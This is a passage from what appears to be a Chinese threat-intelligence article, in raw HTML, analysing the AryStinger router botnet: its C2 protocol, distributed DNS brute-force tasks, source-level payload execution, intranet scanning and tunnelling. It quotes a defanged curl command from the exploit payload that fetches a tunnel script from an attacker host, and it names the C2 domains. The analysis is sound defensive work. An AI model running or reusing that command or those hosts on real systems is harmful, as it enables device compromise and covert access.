src="https://wechat2rss.xlab.app/img-proxy/?k=d53b5749&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8z92d9sT7wuE5bF9yhqr8hIW038AbcpXjkIsNhb1aLP6ln26xxzadPChmsNzXtubiaUANBdfylTa8oYIph6sborUtHECZVhSxIA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="86" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;font-weight: bold;">③ tasksvc任务</span></span></p><p data-layout-id="86" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Bot 通过向 C2 的 `/cmd` 接口发送请求以获取域名扫描任务。该请求在 HTTP 头中携带 `X-Executor-ID` 字段，值为身份认证阶段分配的 `5785933`，用于标识自身身份。AryStinger实现了类似massdns的扫描功能，它从C2下发的任务中提取扫描步长、偏移量、顶级域名列表、扫描类型、子域名长度范围、重试次数、超时时间、自定义字符集和DNS服务器列表等参数，构建任务对象后交由 worksvc 执行。<span textstyle="" style="font-weight: bold;">这种设计意味着攻击者可以将一个大规模的扫描任务切分成多个子任务，分配给不同的 Bot 并行处理，从而实现分布式扫描</span>。</span></p><p data-layout-id="90" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">以测试设备中产生的真实交互流量为例，首先来看Bot的请求报文，``X-Executor-ID``的值正是authsvc任务中C2下发的``5785933``。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5896520963425513" data-s="300,640" data-type="png" data-w="2242" style="width:100%;" type="block" data-backw="578" data-backh="341" data-imgfileid="100001070" src="https://wechat2rss.xlab.app/img-proxy/?k=6320acff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8x6cel3Tq4fYZSVN4Lq6NDibbyApBJuQyfoKfmvNoUSUJjTRTMibyALajEuQ3BI4icsGfHY6JVPjuTjiaY5D27FNibKvuZNvWRjpGCk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="91" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">再来看 C2 的响应报文，加密数据经 XOR 解密、Protobuf 反序列化后，可提取出任务配置：本次下发的为 .ba 顶级域爆破任务，offset 值为 11,654,000,000。这表明该 Bot 被分配扫描长度 7 子域名的中间偏前区域，覆盖该长度范围内约 12% 的扫描空间。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6189111747851003" data-s="300,640" data-type="png" data-w="1396" style="width:100%;" type="block" data-backw="578" data-backh="358" data-imgfileid="100001071" src="https://wechat2rss.xlab.app/img-proxy/?k=7a160ffe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yT1At9NOMku9CDlg8m6A2EU7iarcUA511Fx6pKCBQcQOv2PUOh1aLUmlcp9PTp41Nne2DeDPqic2QUMhP12SuoxiaMzvd9DQ2KaI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="93" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">实际 Bot 在收到该指令后就会对.ba顶级域发起扫描，产生的扫描流量如下图所示。其实我们认为除了用于域名爆破之外，攻击者还可以利用这类任务对DNS 解析器（DNS Resolver）发起 DDoS 攻击。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6206115515288788" data-s="300,640" data-type="png" data-w="883" style="width:100%;" type="block" data-backw="578" data-backh="359" data-imgfileid="100001072" src="https://wechat2rss.xlab.app/img-proxy/?k=dcf02a34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8zLSDkibf7nDeGHfRFOKaJHiaSicRbpQm1LSBhyQXmAXmialFFhDJ3Tlq0PbwxuOUicLsZYg5qm4GaWWSu4NKEQkicCYhicpe6YBIcqcw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h2 data-layout-id="96" style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">第二部分: AryStinger Standard版</span></span></h2><p data-layout-id="97" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">AryStinger RTL819X通过CVE-2025-11837传播的脚本如下所示，它的功能是设置环境变化B64，分别从远程服务器下载执行脚本n和t。脚本n的主要功能是下载执行最新版本的AryStringer；而脚本t的功能则是下载执行tunnel工具。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.16619318181818182" data-s="300,640" data-type="png" data-w="704" type="block" data-imgfileid="100001089" src="https://wechat2rss.xlab.app/img-proxy/?k=2a03824f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8wAqZfJfM4Qtl9ASBVicFW4HztQDBZ9ZhibDsLibkzKUI5ZC8o9GKhyT8W4oAicLnqvIPpkwEUMyjjYqMqUh6Ynqb2agfoq1KoqicHI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="97" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">自4月26日起，我们捕获了22个不同版本号的AryStinger Standard版样本文件，本文选取V1.0.102为主要分析对象，它的基本信息如下所示：</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.180349932705249" data-s="300,640" data-type="png" data-w="743" type="block" data-imgfileid="100001088" src="https://wechat2rss.xlab.app/img-proxy/?k=cdbcb408&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8z7Y0evkwXv2zMyJMHEWBZHGezxnA13YtqNg7VxD4eTJOt0yGfSbseHjbmDJIsqerm14TYHzjQic63CsdWsCqibz9PJibCepL7diaE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="104" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">AryStinger Standard 的核心工作流程集中于 6 个函数，可明确划分为两类：一类是 `installGSocket`，另一类是多个 Loop 函数（如 `authLoop`、`cmdLoop` 等）。这些函数与 RTL819X 版本在功能上一一对应，仅在具体实现上存在差异。例如持久化远程管理通道的构建方式：RTL819X 版本通过下载部署 Dropbear 实现，而 Standard 版本则通过main_installGSocket下载部署 gs-netcat 。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.48007246376811596" data-s="300,640" data-type="png" data-w="552" style="width:100%;" type="block" data-backw="552" data-backh="265" data-imgfileid="100001073" src="https://wechat2rss.xlab.app/img-proxy/?k=91b0b66f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8wR9uZmFia84LTectUodhKNcgRUtNdFWCic6bYRqruhH8uSFTpdv6l6VqZGqZvytuq5yrhxkLNFZnYicsvMCib54d4IfbGfTVBXoXg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="111" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">AryStinger Standard 与 AryStinger RTL819X 具体的函数对应关系如下表所示。相较于 RTL819X 版本，Standard 版本不仅新增了内网扫描（intranetScan）功能，还将 C2 下发的任务类型从单一的 masscan 扩充至 ScriptWork、HttpAliveWork 等共计 6 种任务。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9011142061281338" data-s="300,640" data-type="jpeg" data-w="718" style="width:100%;" type="block" data-backw="578" data-backh="521" data-imgfileid="100001084" src="https://wechat2rss.xlab.app/img-proxy/?k=a12608bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fa6IDQoib5s8xAHhD5NWicKx8xjQfw1aU4piaicqkA6da16spaq9VQPGHeZfzWORoRzeumgsl3EDJMAz97IGZ48s1jqqGFbVmJUw10LkcN3uZXXM%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p data-layout-id="113" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">下文将围绕 Standard 版相较于 RTL819X 版的变化点，从网络通信和新增功能两个方面，对其功能实现进行简要剖析。</span></p><h2 data-layout-id="123" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;font-weight: bold;">① 网络通信</span></span></h2><p data-layout-id="124" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">AryStinger Standard 硬编码了俩个 C2 地址 `dybic.ajb8.com`和`opi7.com`，通信基于 HTTPS 协议。其数据报文采用 Protobuf 进行序列化，随后经过 Gzip 压缩和 XOR 加密。以 `main_authLoop` 函数发起的身份认证请求为例，实际产生的流量（V）如下所示：</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3005151688609044" data-s="300,640" data-type="png" data-w="1747" style="width:100%;" type="block" data-backw="578" data-backh="174" data-imgfileid="100001074" src="https://wechat2rss.xlab.app/img-proxy/?k=af7ade02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yJrhdt0WpErFWiczHticl90Kb9KtnW3knbsTD1nShzycoUfXMuJOopcc8ZOqrNMfiatfHtWTEibOORPMZ0v7ZOPApmYP9ANddBLy8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="125" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">数据报文依次经过 XOR 解密、Gunzip 解压和 Protobuf 解码后，还原出的正是测试设备中的各类敏感信息。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.543223647518126" data-s="300,640" data-type="png" data-w="1793" style="width:100%;" type="block" data-backw="578" data-backh="314" data-imgfileid="100001075" src="https://wechat2rss.xlab.app/img-proxy/?k=fedfb717&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xlRoVlibcGyVVhfqUIb16NR7ZzBChZhzceVPbxa4uSicu7wyojV95iaxPgQXY1a4bDnUg4ibBblceKcOAKib6OwVtezHTiazlKe87UI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="127" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;font-weight: bold;">② 新增任务</span></span></p><p data-layout-id="129" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">AryStinger Standard 大幅扩展了 C2 下发的任务类型，从原先的仅 1 种增加至以下 6 种，各函数的功能已由其函数名直接体现，本文不再逐一展开，仅对其中最具代表性的 ScriptWork 进行简要说明。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0994152046783625" data-s="300,640" data-type="jpeg" data-w="513" style="width:100%;" type="block" data-backw="513" data-backh="564" data-imgfileid="100001085" src="https://wechat2rss.xlab.app/img-proxy/?k=7f4a6149&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fa6IDQoib5s8yCvnWiaEkV6ice6o9WmxtT5WOzYVicaa1qRQZsySmUkVHRciaRdKakqicox1kcFZdsflD9UqUO8yqZesza09uwAWOXDiaMCvcT28hYk%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p data-layout-id="130" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">ScriptWork 支持执行 Shell 命令以及 Go、Java、Python 三类的源码级 Payload。这种设计极大提升了攻击者的操作灵活性：无需为不同平台分别编译二进制文件，也无需关心目标设备的具体架构，只需直接下发源码即可动态执行。无论是信息收集、权限维持，还是横向移动，攻击者都可以根据实际场景快速定制并分发功能模块，大幅降低了攻击成本和时间窗口。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.16352201257861634" data-s="300,640" data-type="png" data-w="1749" style="width:100%;" type="block" data-backw="578" data-backh="95" data-imgfileid="100001076" src="https://wechat2rss.xlab.app/img-proxy/?k=dd7d0a71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yrPC6a24spQFjZrZI4FIvDbodgvm9hD56soKhBzZAByEzI5FEdialdgKZ3pVVUkapnk8DECZg0aJUl2Ylxz54DRPXgOwEeqceE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="139" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">这种设计虽然灵活，但弊端也很明显：执行环境依赖严重（如 Python、Java、Go）。一旦环境缺失，攻击者就不得不进行额外的下载、安装操作。这不但显著拉长了攻击链条，增加了暴露风险，更可能在受限的内网或容器环境中直接导致整个攻击流程中断。同时，源码需以明文文件形式落地，解释器进程的命令行也会被系统审计日志清晰记录，相比无文件、内存型的二进制 Payload，暴露面大幅增加，更容易被 EDR、HIDS 等安全产品捕获和溯源。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.49906716417910446" data-s="300,640" data-type="png" data-w="1072" type="block" data-imgfileid="100001077" src="https://wechat2rss.xlab.app/img-proxy/?k=9c407299&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8wCwIPxCUfN3A6GmfqfDUNJkS1FibSugWDicQdD0boSY2JD6bpkb6GpeotYRuNouprDLVCUo4JyvnJgORCEf9eymctAXY1KibKdZ8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-layout-id="142" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;font-weight: bold;">③ 内网扫描</span></span></h2><p data-layout-id="143" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">AryStinger 通过集成 Fscan、Ksubdomain 等开源工具，构建了强大的内网侦察能力。它能够自动化收集系统配置、进程、网络、漏洞等关键信息。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.32592592592592595" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100001078" src="https://wechat2rss.xlab.app/img-proxy/?k=090f7b6c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8wp1mHVF2JiagnMmGlOhlpz4VzYLHEEkTerzXzw8NeYiciauBt0IpQLwa3k9vQciaicgibSyh19tNicmvfNHoLFicr3qvQ5WEQAWFuREEI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="144" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">AryStinger的工作目录是/tmp/bin，在此目录将保存其下载的开源工具集，内网扫描集扫描结果。扫描完成时，这些结果将回传至 C2。攻击者根据这些汇聚后的内网态势信息，制定精准的后续入侵或横向移动策略，实现攻击活动的闭环。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6228209191759112" data-s="300,640" data-type="png" data-w="631" type="block" data-imgfileid="100001079" src="https://wechat2rss.xlab.app/img-proxy/?k=c2aceb91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8xCe3p07JbiaqBibxTLNU7dtgjNMgHRESBsfdADR0O0iazibFloLDcFShJZGsKF8Xibl7rWBj8VboC6cFhzZTDRRQr4MMy3ZPX68DVc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-layout-id="147" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;font-weight: bold;">④ 隧道功能</span></span></h2><p data-layout-id="148" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">AryStinger Standard 本身不具备隧道功能。然而，漏洞传播利用的 Payload 中包含代码：<span textstyle="" style="font-style: italic;">curl -skL <a href="https://hgodpcx[.]auq8.com/t" target="_blank">https://hgodpcx[.]auq8.com/t</a></span> 。该命令下载的 &#39;t&#39; 是一个 Python 脚本，其核心作用是进一步下载执行nat_tunnel-linux-x86_64，从而实现隧道穿透。样本中硬编码了和前文</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">RTL819X Tunnel中的一样的C2服务器</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-layout-id&#34;:&#34;148&#34;,&#34;style&#34;:&#34;text-align: left;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.412962962962963" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100001080" src="https://wechat2rss.xlab.app/img-proxy/?k=53f20f76&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xE2cXsibP9fPAibMwgtFiaBlK2P53SeGMbqq3oDfbCTUPUaW8hxYSQDvDeuWMscaicjYkTdplj2icBLX0WI41Bxib2iav3nO5GQRPUno%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="149" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">nat_tunnel-linux-x86_64 疑似由 AI 辅助生成，其硬编码 C2 与 RTL819X 版 Tunnel 一致，功能同样为在感染主机上建立流量代理或转发通道。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6671469740634006" data-s="300,640" data-type="png" data-w="694" style="width:100%;" type="block" data-backw="578" data-backh="386" data-imgfileid="100001081" src="https://wechat2rss.xlab.app/img-proxy/?k=ab5180fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8wKxeR0TrHaYgMUd9VYP8WicR8267m0XHNBS2lzg0o9YKhsYUfYSbHRtibXuvoLg15ZsHFdx4FJmdBP7rX9lChAUJobdtpccD4D8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p data-layout-id="151" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">总结</span></span></p><p data-layout-id="153" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">这是我们掌握的关于 AryStinger 家族的核心情报。老旧路由器长期缺乏固件更新与安全维护，一旦被AryStinger这类具备侦察与隐蔽控制能力的恶意软件入侵，相当于黑客在你的网络里安放永久的“隐形监听器”和“攻击跳板”，攻击者可以借此轻松的实现以下三重危害：</span></p><ul style="list-style-type: 